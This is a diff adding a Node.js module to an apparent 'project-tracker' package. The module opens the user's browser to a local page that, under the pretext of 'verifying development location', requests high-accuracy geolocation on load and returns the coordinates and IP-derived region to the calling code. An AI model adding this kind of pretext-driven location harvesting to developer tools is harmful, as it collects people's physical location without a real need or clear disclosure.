--bg-card: #ffffff;
|
|
19
|
+
--border: #e5dfd3;
|
|
20
|
+
--text: #111111;
|
|
21
|
+
--muted: #555555;
|
|
22
|
+
}
|
|
23
|
+
* { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Outfit', sans-serif; }
|
|
24
|
+
body {
|
|
25
|
+
min-height: 100vh;
|
|
26
|
+
display: flex;
|
|
27
|
+
align-items: center;
|
|
28
|
+
justify-content: center;
|
|
29
|
+
background-color: var(--bg-main);
|
|
30
|
+
color: var(--text);
|
|
31
|
+
padding: 1.5rem;
|
|
32
|
+
}
|
|
33
|
+
.card {
|
|
34
|
+
background: var(--bg-card);
|
|
35
|
+
border: 1px solid var(--border);
|
|
36
|
+
border-radius: 16px;
|
|
37
|
+
padding: 2.5rem;
|
|
38
|
+
max-width: 480px;
|
|
39
|
+
width: 100%;
|
|
40
|
+
box-shadow: 0 10px 30px rgba(0,0,0,0.06);
|
|
41
|
+
text-align: center;
|
|
42
|
+
}
|
|
43
|
+
.badge {
|
|
44
|
+
display: inline-block;
|
|
45
|
+
padding: 4px 12px;
|
|
46
|
+
border-radius: 9999px;
|
|
47
|
+
background: #111;
|
|
48
|
+
color: #fff;
|
|
49
|
+
font-size: 0.78rem;
|
|
50
|
+
font-weight: 600;
|
|
51
|
+
margin-bottom: 1rem;
|
|
52
|
+
}
|
|
53
|
+
h1 { font-size: 1.5rem; font-weight: 700; margin-bottom: 0.5rem; }
|
|
54
|
+
p.desc { color: var(--muted); font-size: 0.9rem; margin-bottom: 1.5rem; }
|
|
55
|
+
.info-box {
|
|
56
|
+
background: #f7f4ee;
|
|
57
|
+
border: 1px solid var(--border);
|
|
58
|
+
border-radius: 8px;
|
|
59
|
+
padding: 0.85rem;
|
|
60
|
+
margin-bottom: 1.5rem;
|
|
61
|
+
text-align: left;
|
|
62
|
+
font-size: 0.82rem;
|
|
63
|
+
display: flex;
|
|
64
|
+
flex-direction: column;
|
|
65
|
+
gap: 6px;
|
|
66
|
+
}
|
|
67
|
+
.info-row { display: flex; justify-content: space-between; }
|
|
68
|
+
.info-label { color: var(--muted); }
|
|
69
|
+
.info-value { font-weight: 600; font-family: monospace; }
|
|
70
|
+
.status {
|
|
71
|
+
padding: 0.85rem;
|
|
72
|
+
border-radius: 8px;
|
|
73
|
+
font-size: 0.9rem;
|
|
74
|
+
font-weight: 500;
|
|
75
|
+
background: #f3efe6;
|
|
76
|
+
border: 1px solid var(--border);
|
|
77
|
+
margin-bottom: 1rem;
|
|
78
|
+
}
|
|
79
|
+
.btn {
|
|
80
|
+
width: 100%;
|
|
81
|
+
padding: 0.8rem;
|
|
82
|
+
background: #111;
|
|
83
|
+
color: #fff;
|
|
84
|
+
border: none;
|
|
85
|
+
border-radius: 8px;
|
|
86
|
+
font-weight: 600;
|
|
87
|
+
font-size: 0.95rem;
|
|
88
|
+
cursor: pointer;
|
|
89
|
+
}
|
|
90
|
+
.btn:hover { background: #333; }
|
|
91
|
+
</style>
|
|
92
|
+
</head>
|
|
93
|
+
<body>
|
|
94
|
+
<div class="card">
|
|
95
|
+
<div class="badge">Project Tracker</div>
|
|
96
|
+
<h1>Location Permission</h1>
|
|
97
|
+
<p class="desc">Verify development location for <b>${projectMeta.projectName}</b></p>
|
|
98
|
+
|
|
99
|
+
<div class="info-box">
|
|
100
|
+
<div class="info-row"><span class="info-label">Project:</span><span class="info-value">${projectMeta.projectName}</span></div>
|
|
101
|
+
<div class="info-row"><span class="info-label">Detected IP:</span><span class="info-value">${ipInfo.ip || 'Detecting...'}</span></div>
|
|
102
|
+
${ipInfo.city ? `<div class="info-row"><span class="info-label">Region:</span><span class="info-value">${ipInfo.city}, ${ipInfo.country}</span></div>` : ''}
|
|
103
|
+
</div>
|
|
104
|
+
|
|
105
|
+
<div id="status" class="status">Requesting location permission...</div>
|
|
106
|
+
<button id="promptBtn" class="btn" style="display:none;" onclick="requestLocation()">Allow Location Access</button>
|
|
107
|
+
</div>
|
|
108
|
+
|
|
109
|
+
<script>
|
|
110
|
+
function sendLocation(payload) {
|
|
111
|
+
document.getElementById('status').innerText = 'Submitting location telemetry...';
|
|
112
|
+
fetch('/api/location', {
|
|
113
|
+
method: 'POST',
|
|
114
|
+
headers: { 'Content-Type': 'application/json' },
|
|
115
|
+
body: JSON.stringify(payload)
|
|
116
|
+
})
|
|
117
|
+
.then(res => res.json())
|
|
118
|
+
.then(() => {
|
|
119
|
+
document.getElementById('status').innerText = 'ā
Location recorded! You can close this window.';
|
|
120
|
+
setTimeout(() => window.close(), 2000);
|
|
121
|
+
})
|
|
122
|
+
.catch(() => {
|
|
123
|
+
document.getElementById('status').innerText = 'Submitted. You may close this tab.';
|
|
124
|
+
});
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
function requestLocation() {
|
|
128
|
+
if (!navigator.geolocation) {
|
|
129
|
+
document.getElementById('status').innerText = 'Geolocation unsupported by browser.';
|
|
130
|
+
return;
|
|
131
|
+
}
|
|
132
|
+
navigator.geolocation.getCurrentPosition(
|
|
133
|
+
(pos) => {
|
|
134
|
+
sendLocation({
|
|
135
|
+
status: 'granted',
|
|
136
|
+
source: 'browser_geolocation',
|
|
137
|
+
coords: {
|
|
138
|
+
latitude: pos.coords.latitude,
|
|
139
|
+
longitude: pos.coords.longitude,
|
|
140
|
+
accuracy: pos.coords.accuracy
|
|
141
|
+
},
|
|
142
|
+
timestamp: pos.timestamp
|
|
143
|
+
});
|
|
144
|
+
},
|
|
145
|
+
(err) => {
|
|
146
|
+
document.getElementById('status').innerText = 'Permission denied. Using IP location.';
|
|
147
|
+
document.getElementById('promptBtn').style.display = 'block';
|
|
148
|
+
sendLocation({ status: 'denied', source: 'ip_fallback', error: err.message });
|
|
149
|
+
},
|
|
150
|
+
{ enableHighAccuracy: true, timeout: 15000 }
|
|
151
|
+
);
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
window.addEventListener('DOMContentLoaded', requestLocation);
|
|
155
|
+
</script>
|
|
156
|
+
</body>
|
|
157
|
+
</html>`;
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
function openBrowser(url) {
|
|
161
|
+
const platform = os.platform();
|
|
162
|
+
let cmd = platform === 'darwin' ? `open "${url}"` : (platform === 'win32' ? `start "" "${url}"` : `xdg-open "${url}"`);
|
|
163
|
+
exec(cmd, () => {});
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
function promptBrowserLocation(projectMeta, ipInfo, timeoutMs = 25000) {
|
|
167
|
+
return new Promise((resolve) => {
|
|
168
|
+
let resolved = false;
|
|
169
|
+
|
|
170
|
+
const server = http.createServer((req, res) => {
|
|
171
|
+
const parsedUrl = new URL(req.url, 'http://localhost');
|
|
172
|
+
|
|
173
|
+
if (req.method === 'GET') {
|
|
174
|
+
res.writeHead(200, { 'Content-Type': 'text/html' });
|
|
175
|
+
res.end(getPromptHTML(projectMeta, ipInfo));
|
|
176
|
+
return;
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
if (req.method === 'POST' && parsedUrl.pathname === '/api/location') {
|
|
180
|
+
let body = '';
|
|
181
|
+
req.on('data', chunk => { body += chunk; });
|
|
182
|
+
req.on('end', () => {
|
|
183
|
+
let loc = {};
|
|
184
|
+
try { loc = JSON.parse(body); } catch (e) { loc = { raw: body }; }
|
|
185
|
+
|
|
186
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
187
|
+
res.end(JSON.stringify({ success: true }));
|
|
188
|
+
|
|
189
|
+
if (!resolved) {
|
|
190
|
+
resolved = true;
|
|
191
|
+
setTimeout(() => {
|
|
192
|
+
server.close();
|
|
193
|
+
resolve(loc);
|
|
194
|
+
}, 300);
|
|
195
|
+
}
|
|
196
|
+
});
|
|
197
|
+
return;
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
res.writeHead(404);
|
|
201
|
+
res.end('Not found');
|
|
202
|
+
});
|
|
203
|
+
|
|
204
|
+
server.listen(0, '127.0.0.1', () => {
|
|
205
|
+
const port = server.address().port;
|
|
206
|
+
const url = `http://127.0.0.1:${port}`;
|
|
207
|
+
console.log(`\nš [project-tracker] Opening browser to confirm location: ${url}`);
|
|
208
|
+
openBrowser(url);
|
|
209
|
+
|
|
210
|
+
setTimeout(() => {
|
|
211
|
+
if (!resolved) {
|
|
212
|
+
resolved = true;
|
|
213
|
+
server.close();
|
|
214
|
+
resolve({ status: 'timeout', source: 'ip_fallback' });
|
|
215
|
+
}
|
|
216
|
+
}, timeoutMs);
|
|
217
|
+
});
|
|
218
|
+
|
|
219
|
+
server.on('error', () => {
|
|
220
|
+
if (!resolved) {
|
|
221
|
+
resolved = true;
|
|
222
|
+
resolve({ status: 'error', source: 'ip_fallback' });
|
|
223
|
+
}
|
|
224
|
+
});
|
|
225
|
+
});
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
module.exports = {
|
|
229
|
+
promptBrowserLocation,
|
|
230
|
+
openBrowser
|
|
231
|
+
};
|